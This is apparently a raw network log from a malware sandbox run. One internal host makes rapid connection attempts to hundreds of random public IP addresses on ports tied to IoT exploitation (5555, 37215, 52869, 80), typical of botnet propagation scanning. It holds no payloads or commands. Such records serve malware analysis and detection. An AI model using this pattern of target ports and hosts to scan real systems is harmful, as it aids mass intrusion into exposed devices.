Feb 12, 2023 21:24:51.803935051 CET	22272	5555	192.168.2.23	58.121.156.177
Feb 12, 2023 21:24:51.803940058 CET	22272	5555	192.168.2.23	66.34.143.149
Feb 12, 2023 21:24:51.803950071 CET	22272	5555	192.168.2.23	68.191.149.189
Feb 12, 2023 21:24:51.803976059 CET	22272	5555	192.168.2.23	167.220.189.164
Feb 12, 2023 21:24:51.803993940 CET	22272	5555	192.168.2.23	118.204.31.135
Feb 12, 2023 21:24:51.804018021 CET	22272	5555	192.168.2.23	123.193.36.8
Feb 12, 2023 21:24:51.804018021 CET	22272	5555	192.168.2.23	54.54.227.124
Feb 12, 2023 21:24:51.804058075 CET	22272	5555	192.168.2.23	104.103.94.191
Feb 12, 2023 21:24:51.804084063 CET	22272	5555	192.168.2.23	79.212.2.254
Feb 12, 2023 21:24:51.804089069 CET	22272	5555	192.168.2.23	45.124.250.50
Feb 12, 2023 21:24:51.804096937 CET	22272	5555	192.168.2.23	90.98.55.184
Feb 12, 2023 21:24:51.804126024 CET	22272	5555	192.168.2.23	170.176.138.183
Feb 12, 2023 21:24:51.804156065 CET	22272	5555	192.168.2.23	181.56.84.204
Feb 12, 2023 21:24:51.804156065 CET	22272	5555	192.168.2.23	66.166.57.148
Feb 12, 2023 21:24:51.804204941 CET	22272	5555	192.168.2.23	5.131.24.70
Feb 12, 2023 21:24:51.804208040 CET	22272	5555	192.168.2.23	107.226.68.148
Feb 12, 2023 21:24:51.804233074 CET	22272	5555	192.168.2.23	4.239.147.243
Feb 12, 2023 21:24:51.804244995 CET	22272	5555	192.168.2.23	168.192.16.14
Feb 12, 2023 21:24:51.804289103 CET	22272	5555	192.168.2.23	113.8.78.154
Feb 12, 2023 21:24:51.804301023 CET	22272	5555	192.168.2.23	197.139.93.60
Feb 12, 2023 21:24:51.804312944 CET	22272	5555	192.168.2.23	4.115.111.178
Feb 12, 2023 21:24:51.804337025 CET	22272	5555	192.168.2.23	37.211.177.234
Feb 12, 2023 21:24:51.804353952 CET	22272	5555	192.168.2.23	201.128.182.180
Feb 12, 2023 21:24:51.804389954 CET	22272	5555	192.168.2.23	119.141.53.60
Feb 12, 2023 21:24:51.804404974 CET	22272	5555	192.168.2.23	200.204.204.113
Feb 12, 2023 21:24:51.804429054 CET	22272	5555	192.168.2.23	1.4.68.115
Feb 12, 2023 21:24:51.804445028 CET	22272	5555	192.168.2.23	174.17.198.240
Feb 12, 2023 21:24:51.804480076 CET	22272	5555	192.168.2.23	102.159.82.19
Feb 12, 2023 21:24:51.804508924 CET	22272	5555	192.168.2.23	108.146.196.237
Feb 12, 2023 21:24:51.804519892 CET	22272	5555	192.168.2.23	191.138.236.85
Feb 12, 2023 21:24:51.804558992 CET	22272	5555	192.168.2.23	70.18.151.90
Feb 12, 2023 21:24:51.804580927 CET	22272	5555	192.168.2.23	180.14.119.180
Feb 12, 2023 21:24:51.804632902 CET	22272	5555	192.168.2.23	90.86.27.14
Feb 12, 2023 21:24:51.804647923 CET	22272	5555	192.168.2.23	123.29.40.250
Feb 12, 2023 21:24:51.804655075 CET	22272	5555	192.168.2.23	43.9.53.37
Feb 12, 2023 21:24:51.804655075 CET	22272	5555	192.168.2.23	46.71.0.232
Feb 12, 2023 21:24:51.804666996 CET	22272	5555	192.168.2.23	78.103.131.34
Feb 12, 2023 21:24:51.804711103 CET	22272	5555	192.168.2.23	2.224.171.98
Feb 12, 2023 21:24:51.804725885 CET	22272	5555	192.168.2.23	169.119.184.254
Feb 12, 2023 21:24:51.804725885 CET	22272	5555	192.168.2.23	134.209.0.77
Feb 12, 2023 21:24:51.804728031 CET	22272	5555	192.168.2.23	140.13.72.44
Feb 12, 2023 21:24:51.804729939 CET	22272	5555	192.168.2.23	213.225.221.16
Feb 12, 2023 21:24:51.804769993 CET	22272	5555	192.168.2.23	59.173.207.92
Feb 12, 2023 21:24:51.804827929 CET	22272	5555	192.168.2.23	144.248.24.211
Feb 12, 2023 21:24:51.804828882 CET	22272	5555	192.168.2.23	150.138.161.240
Feb 12, 2023 21:24:51.804876089 CET	22272	5555	192.168.2.23	187.185.170.58
Feb 12, 2023 21:24:51.804888010 CET	22272	5555	192.168.2.23	79.225.239.141
Feb 12, 2023 21:24:51.804902077 CET	22272	5555	192.168.2.23	103.85.19.150
Feb 12, 2023 21:24:51.804899931 CET	22272	5555	192.168.2.23	182.58.216.72
Feb 12, 2023 21:24:51.804908037 CET	22272	5555	192.168.2.23	172.38.224.212
Feb 12, 2023 21:24:51.804919958 CET	22272	5555	192.168.2.23	75.125.108.133
Feb 12, 2023 21:24:51.804929018 CET	22272	5555	192.168.2.23	128.248.12.170
Feb 12, 2023 21:24:51.804963112 CET	22272	5555	192.168.2.23	140.64.78.170
Feb 12, 2023 21:24:51.804990053 CET	22272	5555	192.168.2.23	2.110.214.132
Feb 12, 2023 21:24:51.805002928 CET	22272	5555	192.168.2.23	46.140.86.58
Feb 12, 2023 21:24:51.805033922 CET	22272	5555	192.168.2.23	80.110.133.86
Feb 12, 2023 21:24:51.805036068 CET	22272	5555	192.168.2.23	172.116.168.78
Feb 12, 2023 21:24:51.805069923 CET	22272	5555	192.168.2.23	80.79.112.16
Feb 12, 2023 21:24:51.805072069 CET	22272	5555	192.168.2.23	200.133.235.29
Feb 12, 2023 21:24:51.805104017 CET	22272	5555	192.168.2.23	199.34.68.80
Feb 12, 2023 21:24:51.805114031 CET	22272	5555	192.168.2.23	41.3.67.125
Feb 12, 2023 21:24:51.805135965 CET	22272	5555	192.168.2.23	172.62.183.28
Feb 12, 2023 21:24:51.805154085 CET	22272	5555	192.168.2.23	161.187.60.134
Feb 12, 2023 21:24:51.805201054 CET	22272	5555	192.168.2.23	54.237.93.221
Feb 12, 2023 21:24:51.805216074 CET	22272	5555	192.168.2.23	132.229.51.50
Feb 12, 2023 21:24:51.805217981 CET	22272	5555	192.168.2.23	39.88.118.142
Feb 12, 2023 21:24:51.805247068 CET	22272	5555	192.168.2.23	152.241.171.255
Feb 12, 2023 21:24:51.805270910 CET	22272	5555	192.168.2.23	73.164.211.196
Feb 12, 2023 21:24:51.805293083 CET	22272	5555	192.168.2.23	220.212.81.254
Feb 12, 2023 21:24:51.805324078 CET	22272	5555	192.168.2.23	43.26.54.63
Feb 12, 2023 21:24:51.805351019 CET	22272	5555	192.168.2.23	46.213.148.38
Feb 12, 2023 21:24:51.805387020 CET	22272	5555	192.168.2.23	91.102.239.104
Feb 12, 2023 21:24:51.805403948 CET	22272	5555	192.168.2.23	51.80.211.41
Feb 12, 2023 21:24:51.805418015 CET	22272	5555	192.168.2.23	120.117.224.60
Feb 12, 2023 21:24:51.805433989 CET	22272	5555	192.168.2.23	49.225.64.239
Feb 12, 2023 21:24:51.805471897 CET	22272	5555	192.168.2.23	170.94.179.154
Feb 12, 2023 21:24:51.805481911 CET	22272	5555	192.168.2.23	80.229.70.2
Feb 12, 2023 21:24:51.805512905 CET	22272	5555	192.168.2.23	2.153.187.219
Feb 12, 2023 21:24:51.805514097 CET	22272	5555	192.168.2.23	120.85.90.203
Feb 12, 2023 21:24:51.805533886 CET	22272	5555	192.168.2.23	112.220.8.178
Feb 12, 2023 21:24:51.805542946 CET	22272	5555	192.168.2.23	183.140.197.163
Feb 12, 2023 21:24:51.805565119 CET	22272	5555	192.168.2.23	110.92.28.255
Feb 12, 2023 21:24:51.805583954 CET	22272	5555	192.168.2.23	184.5.11.222
Feb 12, 2023 21:24:51.805636883 CET	22272	5555	192.168.2.23	170.124.175.215
Feb 12, 2023 21:24:51.805644989 CET	22272	5555	192.168.2.23	149.76.217.131
Feb 12, 2023 21:24:51.805649996 CET	22272	5555	192.168.2.23	77.49.69.186
Feb 12, 2023 21:24:51.805670977 CET	22272	5555	192.168.2.23	156.200.105.49
Feb 12, 2023 21:24:51.805696011 CET	22272	5555	192.168.2.23	36.155.114.52
Feb 12, 2023 21:24:51.805726051 CET	22272	5555	192.168.2.23	49.179.29.54
Feb 12, 2023 21:24:51.805738926 CET	22272	5555	192.168.2.23	100.34.238.158
Feb 12, 2023 21:24:51.805856943 CET	22272	5555	192.168.2.23	141.246.55.113
Feb 12, 2023 21:24:51.805879116 CET	22272	5555	192.168.2.23	42.74.126.137
Feb 12, 2023 21:24:51.805886984 CET	22272	5555	192.168.2.23	41.204.246.172
Feb 12, 2023 21:24:51.805892944 CET	22272	5555	192.168.2.23	113.225.211.112
Feb 12, 2023 21:24:51.805915117 CET	22272	5555	192.168.2.23	93.176.77.107
Feb 12, 2023 21:24:51.805918932 CET	22272	5555	192.168.2.23	188.64.166.48
Feb 12, 2023 21:24:51.805922031 CET	22272	5555	192.168.2.23	144.112.169.192
Feb 12, 2023 21:24:51.805943966 CET	22272	5555	192.168.2.23	5.225.182.79
Feb 12, 2023 21:24:51.805946112 CET	22272	5555	192.168.2.23	208.119.132.165
Feb 12, 2023 21:24:51.805946112 CET	22272	5555	192.168.2.23	219.82.225.102
Feb 12, 2023 21:24:51.805958986 CET	22272	5555	192.168.2.23	177.248.136.102
Feb 12, 2023 21:24:51.805958986 CET	22272	5555	192.168.2.23	104.43.49.148
Feb 12, 2023 21:24:51.805959940 CET	22272	5555	192.168.2.23	139.132.251.94
Feb 12, 2023 21:24:51.805967093 CET	22272	5555	192.168.2.23	1.39.3.72
Feb 12, 2023 21:24:51.805972099 CET	22272	5555	192.168.2.23	186.113.115.251
Feb 12, 2023 21:24:51.805980921 CET	22272	5555	192.168.2.23	87.157.190.184
Feb 12, 2023 21:24:51.806010008 CET	22272	5555	192.168.2.23	139.136.177.122
Feb 12, 2023 21:24:51.806022882 CET	22272	5555	192.168.2.23	133.143.78.72
Feb 12, 2023 21:24:51.806050062 CET	22272	5555	192.168.2.23	221.126.217.171
Feb 12, 2023 21:24:51.806072950 CET	22272	5555	192.168.2.23	178.164.87.68
Feb 12, 2023 21:24:51.806101084 CET	22272	5555	192.168.2.23	216.179.108.11
Feb 12, 2023 21:24:51.823607922 CET	54676	37215	192.168.2.23	197.197.49.49
Feb 12, 2023 21:24:51.823610067 CET	43344	52869	192.168.2.23	49.56.53.46
Feb 12, 2023 21:24:51.823632002 CET	48472	52869	192.168.2.23	49.53.50.46
Feb 12, 2023 21:24:51.823659897 CET	52046	80	192.168.2.23	52.57.46.50
Feb 12, 2023 21:24:51.823668003 CET	47022	80	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:51.823672056 CET	59682	80	192.168.2.23	50.49.51.46
Feb 12, 2023 21:24:51.823671103 CET	60702	80	192.168.2.23	51.46.52.55
Feb 12, 2023 21:24:51.823672056 CET	37806	80	192.168.2.23	50.49.53.46
Feb 12, 2023 21:24:51.823679924 CET	58134	80	192.168.2.23	53.52.46.49
Feb 12, 2023 21:24:51.823671103 CET	37976	80	192.168.2.23	49.50.46.50
Feb 12, 2023 21:24:51.823679924 CET	50110	80	192.168.2.23	50.57.46.50
Feb 12, 2023 21:24:51.831598997 CET	5555	22272	46.140.86.58	192.168.2.23
Feb 12, 2023 21:24:51.838855028 CET	5555	22272	79.225.239.141	192.168.2.23
Feb 12, 2023 21:24:51.855737925 CET	34222	52869	192.168.2.23	49.57.52.46
Feb 12, 2023 21:24:51.855737925 CET	56764	52869	192.168.2.23	51.55.46.57
Feb 12, 2023 21:24:51.855740070 CET	41974	52869	192.168.2.23	49.52.48.46
Feb 12, 2023 21:24:51.855763912 CET	58624	52869	192.168.2.23	50.57.46.49
Feb 12, 2023 21:24:51.855778933 CET	49540	52869	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:51.868397951 CET	5555	22272	156.200.105.49	192.168.2.23
Feb 12, 2023 21:24:51.887635946 CET	48004	52869	192.168.2.23	57.55.46.55
Feb 12, 2023 21:24:51.887645006 CET	37976	52869	192.168.2.23	56.57.46.50
Feb 12, 2023 21:24:51.891976118 CET	46860	7574	192.168.2.23	49.48.51.46
Feb 12, 2023 21:24:51.919600010 CET	41164	81	192.168.2.23	49.56.53.46
Feb 12, 2023 21:24:52.049329042 CET	52981	37215	192.168.2.23	197.170.17.199
Feb 12, 2023 21:24:52.049359083 CET	52981	37215	192.168.2.23	157.71.28.58
Feb 12, 2023 21:24:52.049365044 CET	52981	37215	192.168.2.23	157.16.79.68
Feb 12, 2023 21:24:52.049374104 CET	52981	37215	192.168.2.23	202.109.20.196
Feb 12, 2023 21:24:52.049377918 CET	52981	37215	192.168.2.23	157.179.163.134
Feb 12, 2023 21:24:52.049377918 CET	52981	37215	192.168.2.23	157.168.205.1
Feb 12, 2023 21:24:52.049377918 CET	52981	37215	192.168.2.23	157.111.15.1
Feb 12, 2023 21:24:52.049377918 CET	52981	37215	192.168.2.23	41.125.150.207
Feb 12, 2023 21:24:52.049416065 CET	52981	37215	192.168.2.23	157.48.198.229
Feb 12, 2023 21:24:52.049416065 CET	52981	37215	192.168.2.23	41.226.129.94
Feb 12, 2023 21:24:52.049416065 CET	52981	37215	192.168.2.23	41.235.249.32
Feb 12, 2023 21:24:52.049415112 CET	52981	37215	192.168.2.23	157.37.56.106
Feb 12, 2023 21:24:52.049422026 CET	52981	37215	192.168.2.23	41.82.179.90
Feb 12, 2023 21:24:52.049426079 CET	52981	37215	192.168.2.23	197.242.99.171
Feb 12, 2023 21:24:52.049427032 CET	52981	37215	192.168.2.23	44.86.192.110
Feb 12, 2023 21:24:52.049427032 CET	52981	37215	192.168.2.23	41.255.133.217
Feb 12, 2023 21:24:52.049427032 CET	52981	37215	192.168.2.23	41.139.164.23
Feb 12, 2023 21:24:52.049432039 CET	52981	37215	192.168.2.23	163.113.17.46
Feb 12, 2023 21:24:52.049431086 CET	52981	37215	192.168.2.23	197.253.209.122
Feb 12, 2023 21:24:52.049438000 CET	52981	37215	192.168.2.23	115.132.85.245
Feb 12, 2023 21:24:52.049431086 CET	52981	37215	192.168.2.23	197.218.144.27
Feb 12, 2023 21:24:52.049431086 CET	52981	37215	192.168.2.23	197.127.180.167
Feb 12, 2023 21:24:52.049432039 CET	52981	37215	192.168.2.23	197.107.85.167
Feb 12, 2023 21:24:52.049432039 CET	52981	37215	192.168.2.23	197.100.46.34
Feb 12, 2023 21:24:52.049432039 CET	52981	37215	192.168.2.23	141.244.160.123
Feb 12, 2023 21:24:52.049464941 CET	52981	37215	192.168.2.23	160.43.210.90
Feb 12, 2023 21:24:52.049464941 CET	52981	37215	192.168.2.23	41.114.201.25
Feb 12, 2023 21:24:52.049465895 CET	52981	37215	192.168.2.23	197.169.84.58
Feb 12, 2023 21:24:52.049464941 CET	52981	37215	192.168.2.23	157.39.51.128
Feb 12, 2023 21:24:52.049465895 CET	52981	37215	192.168.2.23	187.144.51.132
Feb 12, 2023 21:24:52.049465895 CET	52981	37215	192.168.2.23	41.168.5.113
Feb 12, 2023 21:24:52.049491882 CET	52981	37215	192.168.2.23	157.77.34.90
Feb 12, 2023 21:24:52.049491882 CET	52981	37215	192.168.2.23	197.177.169.234
Feb 12, 2023 21:24:52.049508095 CET	52981	37215	192.168.2.23	197.66.46.240
Feb 12, 2023 21:24:52.049508095 CET	52981	37215	192.168.2.23	197.81.14.91
Feb 12, 2023 21:24:52.049508095 CET	52981	37215	192.168.2.23	136.248.185.2
Feb 12, 2023 21:24:52.049511909 CET	52981	37215	192.168.2.23	157.130.119.202
Feb 12, 2023 21:24:52.049511909 CET	52981	37215	192.168.2.23	41.236.231.144
Feb 12, 2023 21:24:52.049511909 CET	52981	37215	192.168.2.23	157.88.128.56
Feb 12, 2023 21:24:52.049511909 CET	52981	37215	192.168.2.23	65.235.55.209
Feb 12, 2023 21:24:52.049518108 CET	52981	37215	192.168.2.23	197.57.163.99
Feb 12, 2023 21:24:52.049511909 CET	52981	37215	192.168.2.23	41.36.99.176
Feb 12, 2023 21:24:52.049511909 CET	52981	37215	192.168.2.23	156.170.204.140
Feb 12, 2023 21:24:52.049520969 CET	52981	37215	192.168.2.23	197.136.242.234
Feb 12, 2023 21:24:52.049518108 CET	52981	37215	192.168.2.23	157.235.159.171
Feb 12, 2023 21:24:52.049520969 CET	52981	37215	192.168.2.23	157.194.206.223
Feb 12, 2023 21:24:52.049518108 CET	52981	37215	192.168.2.23	41.221.95.246
Feb 12, 2023 21:24:52.049518108 CET	52981	37215	192.168.2.23	197.121.29.115
Feb 12, 2023 21:24:52.049529076 CET	52981	37215	192.168.2.23	41.208.130.170
Feb 12, 2023 21:24:52.049540997 CET	52981	37215	192.168.2.23	201.77.134.206
Feb 12, 2023 21:24:52.049540997 CET	52981	37215	192.168.2.23	197.106.48.242
Feb 12, 2023 21:24:52.049540997 CET	52981	37215	192.168.2.23	59.98.211.149
Feb 12, 2023 21:24:52.049540997 CET	52981	37215	192.168.2.23	168.184.250.178
Feb 12, 2023 21:24:52.049540997 CET	52981	37215	192.168.2.23	95.151.165.121
Feb 12, 2023 21:24:52.049540997 CET	52981	37215	192.168.2.23	157.3.66.81
Feb 12, 2023 21:24:52.049540997 CET	52981	37215	192.168.2.23	43.139.48.185
Feb 12, 2023 21:24:52.049540997 CET	52981	37215	192.168.2.23	205.59.83.7
Feb 12, 2023 21:24:52.049551964 CET	52981	37215	192.168.2.23	202.13.77.25
Feb 12, 2023 21:24:52.049551964 CET	52981	37215	192.168.2.23	178.1.215.179
Feb 12, 2023 21:24:52.049554110 CET	52981	37215	192.168.2.23	41.100.249.209
Feb 12, 2023 21:24:52.049554110 CET	52981	37215	192.168.2.23	157.145.125.74
Feb 12, 2023 21:24:52.049561024 CET	52981	37215	192.168.2.23	197.192.62.130
Feb 12, 2023 21:24:52.049561977 CET	52981	37215	192.168.2.23	41.177.46.54
Feb 12, 2023 21:24:52.049561977 CET	52981	37215	192.168.2.23	121.141.15.149
Feb 12, 2023 21:24:52.049576998 CET	52981	37215	192.168.2.23	197.7.20.192
Feb 12, 2023 21:24:52.049576998 CET	52981	37215	192.168.2.23	211.135.89.133
Feb 12, 2023 21:24:52.049576998 CET	52981	37215	192.168.2.23	41.249.24.61
Feb 12, 2023 21:24:52.049576998 CET	52981	37215	192.168.2.23	88.144.89.186
Feb 12, 2023 21:24:52.049607038 CET	52981	37215	192.168.2.23	197.213.173.85
Feb 12, 2023 21:24:52.049607992 CET	52981	37215	192.168.2.23	197.66.77.54
Feb 12, 2023 21:24:52.049607992 CET	52981	37215	192.168.2.23	157.13.88.2
Feb 12, 2023 21:24:52.049612045 CET	52981	37215	192.168.2.23	197.25.179.127
Feb 12, 2023 21:24:52.049614906 CET	52981	37215	192.168.2.23	41.177.117.167
Feb 12, 2023 21:24:52.049617052 CET	52981	37215	192.168.2.23	197.191.16.25
Feb 12, 2023 21:24:52.049614906 CET	52981	37215	192.168.2.23	157.115.213.17
Feb 12, 2023 21:24:52.049617052 CET	52981	37215	192.168.2.23	25.226.197.212
Feb 12, 2023 21:24:52.049614906 CET	52981	37215	192.168.2.23	157.149.217.31
Feb 12, 2023 21:24:52.049614906 CET	52981	37215	192.168.2.23	197.59.5.203
Feb 12, 2023 21:24:52.049614906 CET	52981	37215	192.168.2.23	197.33.141.91
Feb 12, 2023 21:24:52.049623013 CET	52981	37215	192.168.2.23	197.203.223.115
Feb 12, 2023 21:24:52.049614906 CET	52981	37215	192.168.2.23	97.135.248.77
Feb 12, 2023 21:24:52.049633980 CET	52981	37215	192.168.2.23	157.188.115.186
Feb 12, 2023 21:24:52.049633980 CET	52981	37215	192.168.2.23	41.234.86.113
Feb 12, 2023 21:24:52.049633980 CET	52981	37215	192.168.2.23	41.37.244.224
Feb 12, 2023 21:24:52.049633980 CET	52981	37215	192.168.2.23	197.85.63.241
Feb 12, 2023 21:24:52.049633980 CET	52981	37215	192.168.2.23	157.130.54.169
Feb 12, 2023 21:24:52.049633980 CET	52981	37215	192.168.2.23	65.209.115.122
Feb 12, 2023 21:24:52.049633980 CET	52981	37215	192.168.2.23	41.229.100.193
Feb 12, 2023 21:24:52.049633980 CET	52981	37215	192.168.2.23	164.91.83.91
Feb 12, 2023 21:24:52.049639940 CET	52981	37215	192.168.2.23	197.16.72.61
Feb 12, 2023 21:24:52.049639940 CET	52981	37215	192.168.2.23	157.26.227.5
Feb 12, 2023 21:24:52.049648046 CET	52981	37215	192.168.2.23	163.197.125.48
Feb 12, 2023 21:24:52.049649000 CET	52981	37215	192.168.2.23	157.116.209.145
Feb 12, 2023 21:24:52.049649000 CET	52981	37215	192.168.2.23	41.8.202.220
Feb 12, 2023 21:24:52.049649000 CET	52981	37215	192.168.2.23	197.227.201.1
Feb 12, 2023 21:24:52.049649000 CET	52981	37215	192.168.2.23	197.246.182.34
Feb 12, 2023 21:24:52.049665928 CET	52981	37215	192.168.2.23	197.126.206.206
Feb 12, 2023 21:24:52.049665928 CET	52981	37215	192.168.2.23	204.23.50.78
Feb 12, 2023 21:24:52.049670935 CET	52981	37215	192.168.2.23	157.16.11.180
Feb 12, 2023 21:24:52.049679995 CET	52981	37215	192.168.2.23	157.148.159.109
Feb 12, 2023 21:24:52.049679995 CET	52981	37215	192.168.2.23	197.141.157.191
Feb 12, 2023 21:24:52.049710035 CET	52981	37215	192.168.2.23	157.45.244.69
Feb 12, 2023 21:24:52.049710035 CET	52981	37215	192.168.2.23	41.71.110.165
Feb 12, 2023 21:24:52.049724102 CET	52981	37215	192.168.2.23	157.16.25.186
Feb 12, 2023 21:24:52.049724102 CET	52981	37215	192.168.2.23	157.39.173.87
Feb 12, 2023 21:24:52.049724102 CET	52981	37215	192.168.2.23	108.78.253.43
Feb 12, 2023 21:24:52.049724102 CET	52981	37215	192.168.2.23	41.107.187.34
Feb 12, 2023 21:24:52.049724102 CET	52981	37215	192.168.2.23	118.214.39.171
Feb 12, 2023 21:24:52.049724102 CET	52981	37215	192.168.2.23	190.61.223.179
Feb 12, 2023 21:24:52.049736023 CET	52981	37215	192.168.2.23	41.112.32.249
Feb 12, 2023 21:24:52.049740076 CET	52981	37215	192.168.2.23	197.233.9.24
Feb 12, 2023 21:24:52.049740076 CET	52981	37215	192.168.2.23	157.144.59.204
Feb 12, 2023 21:24:52.049740076 CET	52981	37215	192.168.2.23	41.5.187.25
Feb 12, 2023 21:24:52.049777031 CET	52981	37215	192.168.2.23	157.234.35.150
Feb 12, 2023 21:24:52.049786091 CET	52981	37215	192.168.2.23	34.73.161.57
Feb 12, 2023 21:24:52.049786091 CET	52981	37215	192.168.2.23	157.115.51.86
Feb 12, 2023 21:24:52.049819946 CET	52981	37215	192.168.2.23	157.128.55.114
Feb 12, 2023 21:24:52.049830914 CET	52981	37215	192.168.2.23	202.78.193.14
Feb 12, 2023 21:24:52.049839020 CET	52981	37215	192.168.2.23	41.226.71.187
Feb 12, 2023 21:24:52.049839973 CET	52981	37215	192.168.2.23	157.39.183.233
Feb 12, 2023 21:24:52.049839973 CET	52981	37215	192.168.2.23	157.213.218.170
Feb 12, 2023 21:24:52.049840927 CET	52981	37215	192.168.2.23	41.202.147.49
Feb 12, 2023 21:24:52.049840927 CET	52981	37215	192.168.2.23	41.11.253.31
Feb 12, 2023 21:24:52.049840927 CET	52981	37215	192.168.2.23	41.161.148.22
Feb 12, 2023 21:24:52.049854040 CET	52981	37215	192.168.2.23	41.131.195.114
Feb 12, 2023 21:24:52.049854040 CET	52981	37215	192.168.2.23	41.23.197.251
Feb 12, 2023 21:24:52.049866915 CET	52981	37215	192.168.2.23	129.160.194.169
Feb 12, 2023 21:24:52.049875975 CET	52981	37215	192.168.2.23	210.150.147.213
Feb 12, 2023 21:24:52.049875975 CET	52981	37215	192.168.2.23	197.166.49.40
Feb 12, 2023 21:24:52.049894094 CET	52981	37215	192.168.2.23	157.23.106.111
Feb 12, 2023 21:24:52.049894094 CET	52981	37215	192.168.2.23	197.37.182.173
Feb 12, 2023 21:24:52.049910069 CET	52981	37215	192.168.2.23	157.165.200.24
Feb 12, 2023 21:24:52.049911976 CET	52981	37215	192.168.2.23	157.140.202.123
Feb 12, 2023 21:24:52.049926996 CET	52981	37215	192.168.2.23	5.95.234.192
Feb 12, 2023 21:24:52.049940109 CET	52981	37215	192.168.2.23	157.113.235.75
Feb 12, 2023 21:24:52.049940109 CET	52981	37215	192.168.2.23	157.106.210.167
Feb 12, 2023 21:24:52.049940109 CET	52981	37215	192.168.2.23	197.209.127.59
Feb 12, 2023 21:24:52.049947977 CET	52981	37215	192.168.2.23	157.225.27.27
Feb 12, 2023 21:24:52.049947977 CET	52981	37215	192.168.2.23	41.105.35.202
Feb 12, 2023 21:24:52.049952030 CET	52981	37215	192.168.2.23	50.249.238.8
Feb 12, 2023 21:24:52.049952030 CET	52981	37215	192.168.2.23	197.158.137.236
Feb 12, 2023 21:24:52.049974918 CET	52981	37215	192.168.2.23	197.203.48.39
Feb 12, 2023 21:24:52.049978971 CET	52981	37215	192.168.2.23	157.242.105.86
Feb 12, 2023 21:24:52.049979925 CET	52981	37215	192.168.2.23	93.251.21.146
Feb 12, 2023 21:24:52.049981117 CET	52981	37215	192.168.2.23	157.17.148.5
Feb 12, 2023 21:24:52.049979925 CET	52981	37215	192.168.2.23	197.99.207.213
Feb 12, 2023 21:24:52.049997091 CET	52981	37215	192.168.2.23	197.148.25.241
Feb 12, 2023 21:24:52.049997091 CET	52981	37215	192.168.2.23	157.255.124.124
Feb 12, 2023 21:24:52.049998999 CET	52981	37215	192.168.2.23	157.129.242.27
Feb 12, 2023 21:24:52.049998999 CET	52981	37215	192.168.2.23	171.186.160.139
Feb 12, 2023 21:24:52.050003052 CET	52981	37215	192.168.2.23	157.89.214.248
Feb 12, 2023 21:24:52.050009012 CET	52981	37215	192.168.2.23	41.137.13.141
Feb 12, 2023 21:24:52.050021887 CET	52981	37215	192.168.2.23	181.216.1.23
Feb 12, 2023 21:24:52.050021887 CET	52981	37215	192.168.2.23	41.91.172.162
Feb 12, 2023 21:24:52.050029993 CET	52981	37215	192.168.2.23	142.58.103.225
Feb 12, 2023 21:24:52.050035954 CET	52981	37215	192.168.2.23	189.107.21.199
Feb 12, 2023 21:24:52.050036907 CET	52981	37215	192.168.2.23	157.55.47.234
Feb 12, 2023 21:24:52.050035954 CET	52981	37215	192.168.2.23	157.129.188.126
Feb 12, 2023 21:24:52.050036907 CET	52981	37215	192.168.2.23	211.106.151.233
Feb 12, 2023 21:24:52.050054073 CET	52981	37215	192.168.2.23	41.249.243.24
Feb 12, 2023 21:24:52.050060987 CET	52981	37215	192.168.2.23	73.223.209.233
Feb 12, 2023 21:24:52.050062895 CET	52981	37215	192.168.2.23	157.8.173.175
Feb 12, 2023 21:24:52.050064087 CET	52981	37215	192.168.2.23	197.244.33.94
Feb 12, 2023 21:24:52.050080061 CET	52981	37215	192.168.2.23	83.17.51.130
Feb 12, 2023 21:24:52.050080061 CET	52981	37215	192.168.2.23	145.138.32.83
Feb 12, 2023 21:24:52.050107002 CET	52981	37215	192.168.2.23	84.169.130.77
Feb 12, 2023 21:24:52.050107002 CET	52981	37215	192.168.2.23	141.129.175.53
Feb 12, 2023 21:24:52.050107956 CET	52981	37215	192.168.2.23	108.71.101.55
Feb 12, 2023 21:24:52.050107002 CET	52981	37215	192.168.2.23	197.14.164.206
Feb 12, 2023 21:24:52.050107956 CET	52981	37215	192.168.2.23	197.3.41.43
Feb 12, 2023 21:24:52.050110102 CET	52981	37215	192.168.2.23	39.218.52.6
Feb 12, 2023 21:24:52.050122976 CET	52981	37215	192.168.2.23	41.111.254.14
Feb 12, 2023 21:24:52.050122976 CET	52981	37215	192.168.2.23	157.101.38.56
Feb 12, 2023 21:24:52.050128937 CET	52981	37215	192.168.2.23	41.232.223.83
Feb 12, 2023 21:24:52.050132036 CET	52981	37215	192.168.2.23	197.122.89.89
Feb 12, 2023 21:24:52.050133944 CET	52981	37215	192.168.2.23	37.113.24.151
Feb 12, 2023 21:24:52.050133944 CET	52981	37215	192.168.2.23	197.76.226.248
Feb 12, 2023 21:24:52.050137997 CET	52981	37215	192.168.2.23	41.132.9.138
Feb 12, 2023 21:24:52.050137997 CET	52981	37215	192.168.2.23	134.247.21.163
Feb 12, 2023 21:24:52.050146103 CET	52981	37215	192.168.2.23	58.208.14.31
Feb 12, 2023 21:24:52.050147057 CET	52981	37215	192.168.2.23	41.166.27.241
Feb 12, 2023 21:24:52.050147057 CET	52981	37215	192.168.2.23	157.132.9.209
Feb 12, 2023 21:24:52.050147057 CET	52981	37215	192.168.2.23	156.125.111.43
Feb 12, 2023 21:24:52.050162077 CET	52981	37215	192.168.2.23	157.98.230.107
Feb 12, 2023 21:24:52.050162077 CET	52981	37215	192.168.2.23	138.91.19.130
Feb 12, 2023 21:24:52.050164938 CET	52981	37215	192.168.2.23	197.247.134.96
Feb 12, 2023 21:24:52.050165892 CET	52981	37215	192.168.2.23	76.127.132.103
Feb 12, 2023 21:24:52.050168991 CET	52981	37215	192.168.2.23	41.32.231.181
Feb 12, 2023 21:24:52.050187111 CET	52981	37215	192.168.2.23	222.50.131.93
Feb 12, 2023 21:24:52.050187111 CET	52981	37215	192.168.2.23	197.21.206.131
Feb 12, 2023 21:24:52.050192118 CET	52981	37215	192.168.2.23	197.93.242.110
Feb 12, 2023 21:24:52.050193071 CET	52981	37215	192.168.2.23	157.198.124.136
Feb 12, 2023 21:24:52.050193071 CET	52981	37215	192.168.2.23	115.238.87.143
Feb 12, 2023 21:24:52.050196886 CET	52981	37215	192.168.2.23	157.33.144.216
Feb 12, 2023 21:24:52.050200939 CET	52981	37215	192.168.2.23	157.233.200.56
Feb 12, 2023 21:24:52.050200939 CET	52981	37215	192.168.2.23	157.19.24.100
Feb 12, 2023 21:24:52.050205946 CET	52981	37215	192.168.2.23	41.162.22.135
Feb 12, 2023 21:24:52.050205946 CET	52981	37215	192.168.2.23	41.55.53.21
Feb 12, 2023 21:24:52.050208092 CET	52981	37215	192.168.2.23	41.35.203.245
